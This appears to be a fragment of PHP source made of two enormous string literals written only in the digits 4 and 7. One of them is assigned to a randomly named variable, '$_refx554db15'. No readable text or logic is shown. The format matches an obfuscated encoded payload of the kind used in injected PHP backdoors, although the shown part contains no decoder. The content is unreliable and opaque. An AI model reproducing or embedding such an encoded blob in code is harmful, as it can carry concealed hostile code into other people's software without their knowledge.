4444444744474444444744444447444444474444444444444444444444444447444744474447444444444444444744474447444444444447444444444447444444444447444444444444444444444447444444444444444444474447444444444444444444444444444744474444444444444447444444444444444444474444444444444444444444444444444444444444444444444444444444474447444444444444444444444444444744444444444444474447444444444444444444444444444444444447444744444447444744474444444444444447444444474444444744474444444444474444444744474447444444444447444444444444444744444447444744474444444744444447444744444444444444474444444744444444444444444444444444444447444744474444444444444444444744474444444744444444444444444444444744444447444444444444444444474444444744444444444744474444444444444444444444444444444744444444444444444444444444444444444444444444444444444444444744444444444744444444444444444444444444444444444444444447444744474444444444444444444444444447444444474444444444444444444444444444444744474444444744474447444444444444444444474444444444474444444744444444444444474447444444444447444444444444444444444444444444444444444744474444444444444447444444474447444444474444444444444444444444444447444444444447444444444444444444444447444444444444444444444444444444444444444444474444444744444447444444444444444444444444444444444444444744444444444444444444444444444444444444474444444444444444444744444444444444474444444744474444444444444444444744474444444744474447444444444444444444474447444444444444444444444444444444444444444744474447444444444444444444474444444444444447444444444444444744444447444744444444444444444444444444444444444744444444444444444444444444444444444444474444444744444444444444444444444744474444444444474447444444444447444744444444444744444447444444444447444744444444444444444447444744444444444744444444444444474444444444474444444444474447444444474444444444444447444444444444444444444444444744474447444444444444444744444444444444444447444444444444444444444444444744444444444744444444444444444447444744444444444744444444444444444444444444474444444444444444444744444444444744444444444744474444444444444444444744444447444444444447444444444447444444444444444444444444444444444444444444444444444444444444444744474447444744474444444744474444444444444444444444444444444444474444444444444444444444444447444444444444444444444444444444474444444444444444444744444444444444444444444444444444444744444447444444444447444744444444444744444444444444444447444744444444444444444444444444444444444444444444444444444444444444444447444444444444444444444444444744444444444744444447444744444444444744444447444744444447444444474444444444444444444444444447444444474444444444444444444444444444444744444444444744474447444444444444444444474447444444474444444444444444444744474447444744474444444744444444444444474444444444444444444444474444444444444447444444474444444444444444444744444444444744474444444444444444444744444444444744474447444444444444444744474444444444444444444444474444444444444447444444444444444444474444444744444447444444444447444444474444444444444444444444444444444744444444444444444444444444444447444444444444444444474444444744444444444444444447444444474444444744474444444744444447444444444444444444474444444444474447444444444444444444474447444444444444444744444447444744444444444444444444444444444447444444474444444444444444444444474444444444444444444444474444444444444444444444444444444444444444444744474447444444444444444444444444444444444447444744474447444744444444444744474444444744444447444444444444444444444444444444444444444744444447444444444444444744474444444444444444444444444447444744444444444444474447444444474447444444444444444444474447444444444444444744444444444444474444444444444444444744474444444444444447444444444447444444444447444444474447444444474444444444444444444444474447444444474444444444474444444444444444444444444444444444444444444744444444444444444447444744444444444444474444444444444444444744444447444444444444444444444444444444474447444444444447444744444444444744474444444444444444444444444444444744444447444444444444444444474444444444444447444444444444444444444444444444444444444444444447444744474444444744474444444444444447444444444444444444444444444444474444444444444444444744444444444444474444444744474444444744444447444444444447444444444447444444444444444744444444444444444444444444444447444444444444444444444444444744474447444444444444444444444444444744474444444444474444444744444444444444474444444444474444444444444444444744444447444444444444444444474444444444474444444744474444444444444447444444444444444444444444444444444447444444444447444444444444444744444447444744444444444744444447444444444444444444444447444444444444444744444447444444444447444444474447444444444447444444474444444444444444444444444444444744444444444444444447444444444447444444444447444444444444444444444447444444444447444744444444444744444444444444444444444444474444444444474444444444444444444744444444444444474444444444474447444444474444444444444444444744444447444444444444444744444444444444444444444444474444444444444444444444444444444444474444444444444447444444444444444444474447444444444444444444444447444444444444444444444444444444474444444444444444444444444444444744444444444444444444444444444444444444444447444444444447444444444447444444444444444744444447444444444444444744444444444744444444444444474444444444444447444444444444444744444444444444444444444444474444444744444447444744444444444444444444444444444444444444444444444444444444444444444444444444444444444744444444444444444444444444444447444444444444444444444444444444444444444744444444444444444447444444444447444744444444444444444447444444444444444444474447444444444444444444474447444444444447444744444444444444444444444744444447444444444444444444444444444444444444444444444444444744444447444744444444444444444444444744444444444444444447444444474444444444444444444444444444444444444447444444444447444744444444444444444447444444444447444444444444444444474447444444444447444744474447444444474444444444444447444444444444444444444444444444474444444444474444444444444444444744444444444744444444444444474444444444444444444444444444444444474447444444444444444444444444444444474447444744474447444744444444444444474444444444444444444744444447444444444444444744444444444444444444444444474444444444444444444744444447444444444447444444444447444444444444444444444444444444444447444444474447444444444444444444444447444444444444444744444444444444444444444444444447444744444444444444474444444444444444444444444444444444444444444744474447444444444444444444444447444444444447444744444444444444474447444444444444444444474444444444444444444744444447444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444474444444444444447444744444447444444474447444444444444444444444444444744444444444444444444444744474447444744474447444744474444444444444444444444444444444444444447444744474444444444444444444444444444444444444444444744444444444744444447444744444447444444444444444444444444444444444447444444444447444444444444444744444444444744444444444444444444444444474444444444444447444744474444444444444444444444444444444444444444444444444444444444444447444744444447444744444444444444444444444444444444444444444447444444444447444744444444444444444447444744444447444444474444444444444444444744444444444444444444444444444444444444474444444444444447444744444447444444474444444444444447444444444444444444444444444744444444444744444444444444474447444744444447444744444444444444444444444744444444444444444444444744444444444444444447444444444444444444444444444444444447444744444444444444474444444444444447444444444444444444444447444444474444444444474444444444444444444744444444444444474444444444444447444744474444444744444447444444474444444444444444444444444444444744474444444744444444444444444444444444444444444444444444444444444444444444444444444744444444444444444444444444444444444444444444444744474444444444444447444444474444444744444444444744474444444444444444444444474444444444444447444744444444444444474444444744444444444444474447444744444447444444444447444744444444444444444444444444444444444744444444444444444444444444474447444744444444444444444444444444444447444744444447444444444444444444474444444444474444444444474444444444474444444444444444444444444444444744444444444744444444444744444444444444474444444744444447444444444444444444444444444744444444444744474447444444444444444444474444444744444444444444444444444444474447444444444444444444444447444444444444444444444444444444474444444744474444444444474444444444444447444444444444444744444447444444444444444444444444444744474444444744444447444744444444444444444444444444474444444444444444444444444447444444444444444444474444444444444444444444474444444444444444444744444447444444444444444444444444444744444444444444444444444444444447444444444447444444444444444744444444444444474447444444444444444744444444444444444444444744444447444444444447444744444444444444444444444744444447444444444444444744444444444444444444444744444444444444444444444444444444444744474447444444444444444444444447444444474444444744444444444744444447444444444444444444444447444744444447444444474444444444474447444444444444444744444444444444444447444744444444444444474444444444444444444744474444444444474444444444444447444744474444444444444444444444444444444444444447444444474444444444474447444444444444444444474444444744444444444744444444444444474447444444474444444744474444444444444444444444444444444444444447444744474444444744444444444744444447444444444444444744444444444444444444444444444444444444444444444444474447444444444444444744474444444744444444444744444444444444444447444744444444444744444444444444474444444444444444444444474444444444444444444444444444444744474447444444444447444444444447444444474444444444474444444444444444444744444444444444474444444444444444444444444444444444444444444744474447444444444447444444444444444444444444444444444444444744474444444444444444444444444444444444444444444444474444444444444447444444474444444444444444444444444447444744444444444444444444444444444447444744444444444444444447444444474444444744474447444744444447444444444444444744444444444444474447444744444444444444444444444444444444444444474444444744444444444444444444444444444444444744444444444444444444444744444444444444474444444444444444444444444444444744444444444444444444444744444447444444444444444444444444444444474444444744444444444444474444444444474444444444444444444444444444444744444447444444474447444444444444444444444447444444444444444444444444444444444444444444474444444444474447444444444444444444444444444444474447444444444444444444444444444444444444444444444447444444474444444444474444444444474444444444444444444444474444444444474447444444444444444444444447444444444444444444444447444744444444444444474444444444474444444744444447444444444447444444444444444444444444444744474447444444444444444744444444444744444447444444444447444744444447444744444444444744444447444744444447444744474444444444444447444444444447444744444447444744444444444444444444444444444444444444444444444444474444444444444444444444474444444744474444444444444444444744444444444444444447444444444444444744444444444444444444444744444444444444474444444444444444444444444444444444444444444444474444444444444447444744474444444444444447444444444444444444444447444444444447444444444444444444444444444744444447444444444444444744444447444444474447444444444444444444444447444744474444444744474447444444444444444444474444444444444447444444444444444744474444444444474444444444444444444444444447444744444444444444444444444744444447444744444444444744444444444744474444444444444444444744444447444444474444444444444447444744444447444444444447444444444444444444444444444444444444444444444447444444444444444744444444444744444444444444444444444444444447444444444447444744444444444444444444444444444444444444444444444744474444444444444447444444444444444444444444444444444444444444474444444744444444444444444444444444444444444444444444444444444447444444474447444444444444444444444444444444444444444444444444444444444447444444444444444444474444444744444444444444444444444744474447444744444444444444444444444444444444444744444444444444444444444444444444444744444447444444444444444444444444444444444444444444444444444744444447444444444444444444444444444444444447444444444444444444444444444744474444444744474447444744444444444444474444444444444444444444444447444444444447444444474444444444444444444744444444444444444447444744444444444444444444444444444444444444444444444744474447444744444444444444474444444744444444444744444444444744474444444444474444444444444444444444444444444744444444444744474444444444444444444444444444444444444447444444444447444444444444444444474444444444474444444444444444444444474444444744444444444444444447444444474447444744444444444444444444444444474447444444474447444444474444444444444447444444474444444444444444444444444444444744474444444444444444444444444444444444444444444444444444444444444444444744444444444444444447444744444444444444474444444744444447444444444447444444474444444444444444444444444447444744444447444444444444444744444444444744444444444444444444444444444444444744474447444744444447444444444444444744474447444444474444444444444444444444444444444744444444444444444444444444474444444444444447444744444444444744444444444444444444444444444447444444474447444444444444444444444444444744444444444444444444444444444444444744444444444444444444444744474444444444444444444444444447444444444447444444444444444744474444444744444444444444474447444744474444444444444444444444474444444444444444444444444444444444444444444744444447444444444444444444444444444444474447444444474444444444444447444444444444444444444447444744474444444444444444444444474444444744444447444744444444444744444447444444444444444444444447444744444444444744444444444444444444444444444444444744444444444744444447444444444444444444444444444444474444444744444444444744444447444444444444444744444444444444444444444444444444444744474447444744444444444744474444444444444444444744444447444744444444444744474447444444444444444444444444444444444447444744474444444444444447444444474444444444444444444444474444444444474444444744444444444444474444444444474444444444444447444444444447444444474447444444444444444444444447444444444444444444444447444444444447444444474447444444444444444444444444444444444447444444444444444444444444444444474444444744444444444444444447444444444447444744474447444444444444444444444447444444444447444444444444444444444447444744474447444444444444444444474444444444444447444744474444444444444444444444444444444744444444444444444444444444444447444444444444444444474444444444444447444744444444444444444444444444444444444444444444444744444447444444474444444744444447444444444444444444444447444444444444444744474444444444444447444444444447444444444444444444444447444444474447444744444444444744444447444444444447444744444444444444474444444444444447444744474444444444474444444444474444444744444444444444444444444744444444444444444444444444474444444744474447444744444447444444444444444444444444444444474447444444444444444444444447444744444444444444444444444444444444444444444444444444474444444744444444444444444444444444444444444744444447444444444444444444444447444444444444444444444444444444474444444444444444444444444444444444444444444744444447444744444447444444444444444744474444444444474447444444444444444444474444444444474444444444444444444444444447444444474447444744444444444444444444444744444444444744444447444744474447444444444447444744474444444444474447444744444447444744474444444444444447444444444447444444444444444444444444444444444447444444444444444744444447444744474444444444444444444744444444444744474444444444444444444444444444444444444444444444444444444744444444444744444444444444444444444444474447444744444444444444444444444444474444444444444444444444444447444444444447444444444444444444444444444744474444444444444447444444444444444444444444444444474444444444444444444744474444444444444447444744444444444444444444444444444447444444474444444444444444444444444444444744444444444744474444444444444447444444474444444444444447444444444444444744474444444744474444444444444444444744444444444444444444444744444444444444474447444444444444444444444447444444474444444444444447444744444444444744474444444444444447444444444444444444474444444444444444444444444444444444474444444444444447444444444447444444444444444744474444444444444444444444444444444744474444444444474447444444444444444444444444444744474447444444444444444444444444444744444447444444474444444444444444444444444447444444474444444444444444444744444444444744474444444444444447444744474444444744444444444444474444444744444444444444444447444444444444444444474444444444444447444444474447444444444444444444444444444744444447444444444444444444444444444744444447444444444444444444444447444744444444444444444447444444444447444444444444444744474447444744444447444444444444444444444444444444474444444444444444444444444444444444474444444444444444444444444447444744444444444444444447444444444444444744474444444744444444444744474444444444474444444444444444444444444444444444444447444444444444444444474447444744444444444744444444444444444444444744444447444444474444444444474444444444444444444744444444444444444444444444444447444444444447444744444444444444474444444444444447444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444444444444444474444444744444444444444444444444744444447444444444444444744444444444444474444444444444444444744444444444744444447444444474447444744444444444444444444444744444447444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444444444444444474444444744444447444444474444444444444444444444444444444444474444444744444444444744444444444444444444444744444444444744474447444444444447444744474447444444444444444444444444444444444444444444444444444444474444444744444447444444444447444744444447444444444444444444444444444444444444444444474444444744444444444744444447444444444444444444444447444744444444444444444444444744444444444444444444444744444447444444444444444444474444444444444444444444444444444744444444444444444444444444444444444444444444444444444447444444444444444444444444444444444444444444444447444444444444444444444447444444444444444444444444444744444444444444444444444444444444444444474447444744444444444744444444444744444447444444444444444444444444444444444444444444444444444444444444444444444447444444444444444444444447444744474444444444444444444444474444444744444444444444474444444744444444444444444444444744444447444744444447444744444444444444444444444744444447444444474444444744444444444444444444444444444447444444474447444744444444444444474444444444444444444444474447444744444444444444444444444444444444444444444444444444444447444444444444444444444444444444474444444444474444444744444444444444444444444744444444444744474444444744444444444744444447444444444444444444444447444444444444444444444444444744444444444744474447444444444444444744474447444444474444444444444447444744444447444744444447444744444447444444474444444444444447444444474444444444444447444444444444444444444447444744444444444444474444444444444447444744444444444444444444444444474444444744444447444444444447444444444444444744474444444444474447444744474444444444474447444444444444444444474444444444444444444444474444444744474444444444444444444444474444444444444444444744444444444444444444444444444444444444474447444744474444444444474447444744474444444744444444444744444444444744444447444444444444444744444444444444474447444444444447444444444444444444474444444444474444444444444444444444474447444444444444444444444444444744474444444744444447444444444444444744444447444444474444444444444447444744444447444444444444444444444444444744444444444444474444444444444444444444444447444444444444444744444444444444444444444444474444444444474447444444444444444744444447444444474444444744474447444444444444444444474444444744444444444444444444444444474444444744444444444744444444444744474444444444474444444444474444444444444444444444444447444444444444444744444444444444444444444744474444444744474447444444474444444744444444444744444444444444474444444744444447444444444444444744444447444444474447444744444444444744444444444444444444444444474444444444444444444444444447444444444444444444474444444444444447444744474447444444444447444744444444444444444447444444474444444444444444444444444447444444474447444444444444444444444444444444474447444744444444444444444447444444444444444744444444444444444444444444444444444744444447444444444444444444444444444444444444444444444447444444474444444744444444444444444444444444444444444444474444444444444447444444474444444444444444444444444447444444444444444744444444444444474447444444444444444444444444444444444444444744444447444444444444444444444447444444474444444444474444444744444447444444474444444444444444444444444444444444474444444444444444444444444444444744444447444444444444444444444447444444444444444444444444444444474444444444444447444744444444444444444447444444474447444444444447444444444444444444474444444444444444444444444444444444444444444444444444444444444444444744444444444444444444444444444444444444444444444444474444444444444444444744444444444444444447444444444444444444444444444444474444444744444444444444474444444744444444444744444447444444444444444444444444444444444444444444444447444444474447444444444444444444474447444444444444444744444444444444474444444444474444444444474447444744444447444444444447444744444444444444444444444444444447444444444444444444474444444444444447444444444447444744444447444444444444444744444444444444444444444444444444444444444444444444444444444744474447444744444447444444444444444744444447444444444447444444444447444744444444444744444444444444444447444744444444444444444444444444444447444444474444444444444444444444444447444444474447444444444444444444444444444444444444444444474444444744444447444744444444444744444444444444474444444444444444444744474444444444444444444444444444444444474447444444444447444444444444444744444447444744474444444744444447444444444447444444444444444444444444444444444444444444444447444744474447444444444444444444444444444744444444444444444444444744444447444444474447444444444444444444444447444444444447444444444447444444444444444744444444444444444444444444444447444444474444444444474444444444444444444744444444444444474444444444444444444444444444444444444444444744444447444444474447444444444444444444444444444444444444444444444444444744444444444744444444444444474444444444444444444444444444444744444447444444444444444444444447444444444447444444474444444744444447444744444444444444444444444744444444444444444444444444444447444744444444444744474444444444474444444444474444444744444447444444474444444744474447444744444447444744444444444444444444444444474447444744444444444444444444444444474444444744444444444744444444444444474444444744444444444444474447444444444444444744444444444444444444444444444444444744474444444444444444444444444447444444474447444444474447444444444444444444474447444444474444444444474444444444444444444744444444444444444444444444444447444744444447444744444444444444474444444444444447444744474444444444474444444744444444444444474444444444444447444444474444444744444444444444444444444444474447444744444444444444474444444444444444444444444444444444444444444444444444444744444447444744444444444744474444444444444444444744444444444744444444444444474447444744474444444444474444444444444444444444444444444744444444444444444444444744444447444444444444444744444444444744474444444444444447444444474444444444474444444444444447444444444444444744444444444444444444444444474444444444444447444444444444444444444444444744444447444444474444444444474444444744444444444444474444444444444444444444444444444444444444444444474447444444474447444744444447444744444444444444474447444744474447444444444444444444444444444444474444444444444447444444444447444744444447444744444447444444444447444744474444444444444444444444444444444744444444444444444444444744444444444444444447444444444444444444474444444744444444444444474444444444444444444444474444444444444444444444444444444444444444444444474444444444444444444444444447444444444444444444444444444444444447444444474444444444474447444444474447444744474444444444444444444444474444444444474444444744474444444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444474444444444444444444444444444444744444444444444444447444444444444444444444447444744444444444444474447444444474444444444474444444444444444444444444444444444474444444444444444444444474444444444474444444444444444444744444444444444444447444444444444444444444444444444474444444444444444444444474444444444444444444444444444444444444447444444474444444444474444444444444444444744444444444444444444444744444447444444474444444444444444444444444444444444444447444444444444444744444444444444444444444444474444444444474447444444444444444444474444444444444444444444444447444744444444444444444447444444474444444444444444444444444444444444444444444444444444444444474444444444444444444744444444444444474444444444474444444444474447444744474447444444444444444744474444444444444444444444444444444444474444444444474444444444474444444444474444444444474447444444474444444444444444444444444447444444444444444444444447444444474444444444444444444444474447444444444444444444444444444444444447444444444444444444444444444444474444444444444447444444444444444744444444444444474444444444444444444444444444444444444444444744474444444444444444444744444444444444444444444744444444444744444444444444444444444444474444444444444444444444444444444444444444444444444444444744444444444744444444444744474444444444444444444444444447444444444444444744444447444744444444444444444444444444474444444444474444444444444444444444474444444444444447444444444444444444444444444444474447444444444447444444444444444444444444444444444447444444474447444444444447444444474444444444444444444744444444444744444447444744444447444444444447444444444447444444444444444744444444444444444444444444444447444444474444444444444447444444444444444744444444444744474444444444444444444444444444444444474444444744444444444444444444444444474444444444474447444744444444444444444447444444444444444744444444444444444447444444474447444444474447444444444447444444444444444444444447444444474444444444474444444744444444444744444447444444474444444444444444444444444447444444444444444444444447444444444447444444444444444444474444444444444444444444444444444444444447444444474444444444444444444444444444444444444447444444474444444444474444444444474444444444474444444444444447444444444444444444474447444444474444444444474447444444474444444444444444444744474447444444444444444744474444444444444444444444474444444444444444444444444444444444474444444444444444444744474447444444474444444744444444444444474444444444474444444444474444444444444444444444474444444444444444444444444447444444444444444744444447444444474444444444444444444444444444444444444444444444444444444444474447444444444447444444444444444444444447444444474447444744444444444444444444444444444444444444444444444444444444444444444447444744444447444444444444444444444444444444444444444444444447444444474444444744444447444444444444444444444447444444444447444444444444444444444444444444474447444744474447444444444444444444444444444444444447444744474444444444444444444744444447444744444447444444444444444444474447444444444447444444444447444444474444444744474444444444474444444444474444444444444447444444444444444444474444444444444447444444444444444444474447444744444444444444444444444444444444444444444444444444444444444444474444444744444444444744444447444744474444444444444444444744444447444444474444444444444444444444444444444444444444444444444444444444474447444744444444444444474444444444444444444444444444444444444444444444474447444444444444444444474444444444444444444444444447444444474444444444444444444444444444444744444444444444444444444744444447444444474444444444444444444444474447444444474447444444444444444444444444444744444447444744444444444744474444444444444444444444444444444444444444444444444447444444444447444744474444444444474444444444474444444444444444444444444444444744444444444744474444444744444444444444444444444744474444444444444444444444474444444744444444444744444444444444444444444444444444444744444444444744444444444444444444444444474444444744444444444444444447444444444447444444474444444444444444444444444447444444444444444444474447444444444447444444444444444744474447444444474444444444444447444444444444444744444447444744444444444444474444444444444447444744474444444444474444444444444444444444444447444444444444444444444444444444444444444444474447444444444444444444444444444744444444444444444444444744474444444444474444444444444447444444444444444744474444444444444444444444444444444744474444444444444444444444444444444444444447444444474447444444444447444444444444444444444447444744474447444444474447444444474444444744444444444444444444444444444444444744444444444444474444444744474444444444444447444444474447444444474447444744474444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444444474447444444444444444444444444444444474444444444444444444444444444444444474444444444474444444744444444444444444447444744444447444444444444444444444444444444474447444744444444444744474444444444474444444744474444444444474444444444444444444444444444444744474447444744444444444444444444444444444444444444474444444444444444444744444447444444444444444444444444444744444444444444444444444444474444444444474444444444444444444444444447444744444444444744444444444744444444444444444444444444444444444444444447444744444444444744474444444444444444444444474444444444444447444444474444444744444444444444444444444444444444444444474444444444474444444444444444444444444447444744444447444444444447444744444444444444444444444444474447444444474444444744444444444444474444444444444444444744444444444444474447444444444444444444474444444444444447444744474444444444444444444744444444444444474444444444444444444444444447444444444447444444444444444744444444444444444444444744444444444444444447444444474444444444444444444744444444444444444444444744444444444744444444444444444444444444444444444444444444444444474444444744444444444744444447444444444447444444444444444744474444444444444444444444444444444444474444444444474447444444474444444444444444444444444444444444474447444444444444444744474444444444474444444444444444444444444447444444474444444444444444444444474447444444444447444444444447444444444447444444474444444444474444444444444444444744444444444444444447444444474444444444474444444744444444444444444444444744444447444444474447444444444444444444444444444444444444444744444444444744444444444744474444444444444447444444444444444444444444444744474444444444444447444444444444444744444444444444444444444444444444444444444447444444444444444744444444444444474444444444474444444444444447444744444444444444444444444444444447444444474447444444444444444444474447444444474444444744444447444444474444444444474447444444444444444444444444444444444444444744444444444444444447444444444447444744444444444444444447444444444447444444474444444744474444444444444444444444444444444744444444444444444444444444444444444744444444444444444444444444474444444444444444444444444444444444444444444744444447444444444444444444444444444444444444444444444447444744444447444444474444444444474444444444474444444444444444444744444444444744444444444444444444444744444444444744474444444444474444444444474444444444444447444444444447444444444444444444444444444444444447444444444444444444444444444744444447444744444444444444444444444444474444444744444444444444474447444444444444444744444444444444444447444444474444444744444447444444444444444744474447444744444444444444444444444444474447444444444447444444444444444444444444444744444444444444444444444444444447444744444444444444444444444744444444444444474447444444444444444444444444444444444447444444474444444444474444444444444444444444444444444444444444444444474444444444444444444744474447444444474444444744474444444444444447444444444444444744474444444444444444444444444444444744444444444444444444444444444444444444444444444744444444444444444444444444444444444444444447444744444444444444474444444444444447444444444444444744444444444444474444444744474444444744474444444444444447444444474444444444474447444444444444444444474444444444474447444444444444444744444444444444444444444744444444444444444447444444444447444444474447444444474444444744444444444444474444444444444444444444474444444744444444444444474447444744474444444444444444444444444447444444444447444444444444444744444444444444444444444444444444444444474444444744474444444444444444444444474444444744444444444744444447444444444444444744444444444444474444444444474447444444444444444444444444444444474447444444444447444744444444444444444447444744444447444444444444444444444447444444444447444444444444444444474444444444444447444744444444444444444444444444474444444444474447444444444444444744474447444744444444444444444444444444474447444444444447444444474447444444474444444444444444444444444444444744444444444744444444444444444444444444474447444444444444444744";
        $_refx554db15 = "44444444444444444444474444444744444447444744474444444444444444444444444447444744444444444444444444444744474444444744444444444444444447444444444447444744474444444444444447444744474444444744444444444444474444444744444447444444474444444444444444444444444444444444444444444444444444444744474444444744444444444444474444444444474447444744444444444444474447444444444447444444444444444744474447444744444444444444444444444744444444444744444444444444444444444444474444444444444447444744444444444444444444444444444444444744444444444444474447444444474444444744444444444744444444444444444447444444444444444744444444444444444444444444444444444444444444444744474447444444444444444444474444444444444444444444444444444744444444444444444444444444444447444444474444444744444444444444444444444744474444444444444447444744444444444444474447444744444447444444444444444444474444444744444444444744444444444444444444444444474447444444444447444744474444444444444444444744444444444744474444444744474447444444444444444444444444444444444447444444444444444444474444444744444447444744474444444744444444444444474444444744474444444444444444444744474444444744444447444444474444444744474444444744444444444444474444444444444444444744444447444444444447444444444447444444444444444744444444444444444444444444444444444444444444444444474444444444444444444444474447444444444444444744474444444444474447444444444444444444444444444444444444444444444447444444474447444444474447444744444444444444444444444444444447444744474444444444444444444444444447444444474444444444474447444744474447444444444447444444444444444744474447444444444444444744444444444444444444444444444444444744474444444444474447444444474444444444444447444744474444444444444444444444444447444444444444444744444444444444444444444444444444444744444444444444474444444744444447444444444447444444474444444444474444444744474447444744444447444744444444444444474444444444474447444444474444444444444444444444444444444444474444444444474444444444444444444444444444444744444444444444474444444444444444444744444444444744444444444444444444444444444447444444444444444444444447444444444444444444474447444444444444444444474447444744444444444444444447444444474444444444444444444744474447444444444444444744444447444444444447444444444444444444474444444444444444444744474444444444474444444744474447444444444444444744444444444444444444444444474447444444444447444444444444444444444447444444474444444444444444444444444444444444444444444444474444444444444444444444444444444444474447444444444447444444444444444744444447444444444447444444444444444744444444444444474444444744444444444444444447444744474444444444444444444444444447444744444444444444474444444444474444444444444444444744444444444444444444444444444444444744444444444444474447444444444447444744444444444444474447444444474444444444444444444444474444444744444444444444444447444444474444444444444444444444474444444444444444444744444444444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444444447444444444444444744474444444744444447444744444444444444444444444444444444444444444444444444444447444444474444444744444444444444474444444444444444444444444444444444444444444444444444444444474447444444444447444444444444444444444444444444444444444444444447444444444447444444444444444444444444444744444444444744444444444444444444444744444444444744444444444744444444444444474447444444474444444444444447444444474444444444474444444444444447444444444444444444444444444744474444444444444447444444444444444444444447444444444444444444444444444444474444444444444447444444474444444744444444444444444444444444474444444744444444444444444444444444444444444744474447444444474444444444474444444744444444444444444447444444444444444444444444444444474444444444444444444444444444444744444444444444444447444744444444444444444444444444444444444744444444444444444444444744444444444744444444444744444444444444444447444444444444444444474447444444444444444444444447444744444444444444474444444444444444444444444444444444444444444444444447444444444444444444444447444744444444444744444447444444474444444444444447444444474444444444444444444444474444444444444444444444444444444744444444444444474444444744444444444444444447444444444444444744444444444744444444444444474444444444444444444444444447444444444444444744444444444444444444444444474444444444444444444444474447444444444444444444474444444444444444444444444444444444444444444444444444444444444447444744444447444444444444444744474444444744474444444444444444444444444444444444474447444444444444444444444444444444444444444444444447444744474444444444444444444744444444444444444444444444444444444744444444444444444447444744474444444444444444444444444444444744444444444444474444444444444444444444444444444444474444444444444444444444444447444444444444444444474444444744444444444444444444444444444444444744444444444444444447444744444444444744474444444444444447444444444444444444444444444744444444444444444444444744474444444444474447444744444447444444444444444444444447444444444447444444444444444444444447444444444444444444444447444744474447444444474444444444444444444444474444444744444444444744444444444744444447444744444444444444444447444444444444444744474444444444444444444444444444444444444447444444474447444444474444444444444447444444444444444444444444444444444447444444474444444444444444444444444444444744444444444744444444444744444444444744444447444444444444444444444447444444474447444444444444444444444444444444444444444744444444444444444444444444444444444444474447444744444444444444444444444744444447444444444444444744444447444444444447444744444447444444444444444444474444444444444444444744474444444444444444444444444447444744444444444444474444444444474444444444444444444444444444444444444444444444444444444444444444444744444447444444444447444444444447444744474444444444474444444744444444444444444444444444444444444744444444444444444444444444474447444444474444444444444447444444444444444444444447444444474444444444444444444444444444444444444444444744444444444744474444444444474444444744474444444444474444444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444444444444444474447444444474444444444444444444444444444444444444447444444444444444444444444444444474444444744444444444444444447444444444444444444444447444744444444444744444447444744444444444744444444444444444444444444474444444444474444444444474447444444444444444444474447444444444444444444444444444444444444444444444447444444444444444744444444444444444444444744444444444444444447444444444444444444474447444444444444444744444444444444474447444744444444444444444444444444444444444444444444444444474447444744474447444444474447444444444447444744444444444744444447444444474447444444444444444444444444444444444444444444474444444444444447444744444444444444444444444444474444444744474447444444474447444444474444444444444444444444444444444444474444444444444447444444444444444744444444444444474444444444444447444744444444444444444444444744474444444444444444444744444447444744474444444744444444444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444444474444444444444444444444444447444444474447444444474447444444444444444444444447444444444444444444444444444744444447444444474444444744444444444444444444444444474444444444474444444444474447444744444444444444474444444444444444444444444444444444444444444444444447444444444447444444444444444744444444444444474444444744474444444444444444444444444444444444444447444744444444444444444444444444444444444444444444444744444444444444444444444744444447444444444444444744444447444444444444444744444444444744444447444444444447444444444444444444444444444444474444444744444444444444474444444444444444444444474447444744474444444744444444444444444447444444444444444444444444444444444447444444444444444744444444444744474444444444444447444444444444444444444444444744444444444444444447444444474444444444444447444444444444444444444447444444444444444744444444444444444444444444444444444444444444444444444444444444474444444444444444444744444444444444474447444444444444444444444444444444474444444444474447444744444444444744444447444444444447444444474447444444444444444444474447444444444444444744474447444444444447444444444447444444444447444444444444444444444444444444444444444444444447444444444444444444444444444444444444444744444447444444474447444444444444444444474444444744444444444444444444444444444444444444444447444444444447444744444444444744444444444444474447444444444444444444444447444444474444444444444444444744444444444444444444444744474444444444444444444444444444444744444444444444444444444444444444444444444444444444444447444444474444444444474444444444474444444444474444444444474444444444444447444744444444444444444444444444444444444744444444444444444447444744444447444744444444444444444444444444444444444744474444444744444447444444444447444444444444444744444447444744444444444744444444444444444444444744444447444444444447444444474444444444444447444444444444444444474444444444444444444444474444444444444444444744444444444444474444444444444444444744444447444444474444444744474444444444444444444444444444444444474447444444444444444444474444444744474447444444444444444744444444444444444444444744444447444444444444444444444447444444474444444444444444444444444444444744444444444444444444444744444444444444444444444744444444444744474444444444474447444444444444444444444444444444444444444744444447444744444447444444444444444444444447444444474444444444444444444744444444444444444444444444474444444444444444444444444444444444444444444444444447444444474444444444444447444444474444444444474444444444474444444444474444444744444444444444474444444744444444444444444444444744444447444444444447444444444444444744444447444444444444444444444444444444474444444444444444444444474444444744474444444444474447444444474444444444444444444444444444444444474444444444444447444444444444444444474444444444444447444444444444444444444444444744474444444444444444444744444447444444444444444444474447444444444447444444444447444744444444444444444444444444444447444744444444444744444444444744444444444444444444444444444444444744444447444444474444444744474444444444474444444444444447444744444444444444444447444444444444444444444444444444444444444744474444444444444447444444444444444444444444444744444444444744444444444744444444444444444447444444474444444444474444444744444444444444444444444444444444444444444444444444474444444744474444444444444444444444444447444444444444444744444444444744474444444444444444444444474447444444444447444444444444444444444447444444444444444444444444444444444447444444474444444744474444444444444444444444444447444444444444444444444447444444444444444444444447444744474444444744444444444444444444444444444444444444444444444444444444444444444444444444444447444744444444444444444444444444444444444444444444444444444444444444444447444444474444444444444447444444444447444444444444444444444444444444444444444444444447444444444447444444444444444444444444444444474444444744444444444444444444444744444444444744474444444444474444444744444444444744474447444444474444444444444444444444444444444444444444444444444444444444444447444744444444444444444444444744474444444444444444444444444444444444444444444744444447444744474444444444444447444744444444444444444447444744444444444444474444444444444444444444444444444444444447444444444447444744474444444444444444444744474444444444444444444444474444444444444444444744444447444444474447444444444444444744444447444444474447444744474444444444444444444744444444444444474444444444444444444444444447444444474447444744444444444444444444444444474444444444444444444444444447444444444444444744474444444744444447444444444444444744444444444744444447444444444447444444444444444444444444444444474444444744444444444744444447444444444447444444444447444444474447444444444444444444474444444444444447444444444444444444444444444744444444444744474444444444444444444444444444444444444447444444444444444444444447444444444444444444444444444444474444444444444444444444444447444444444444444444444444444744474444444444474444444444444444444444444447444444444444444444474444444444444444444744474444444444444444444744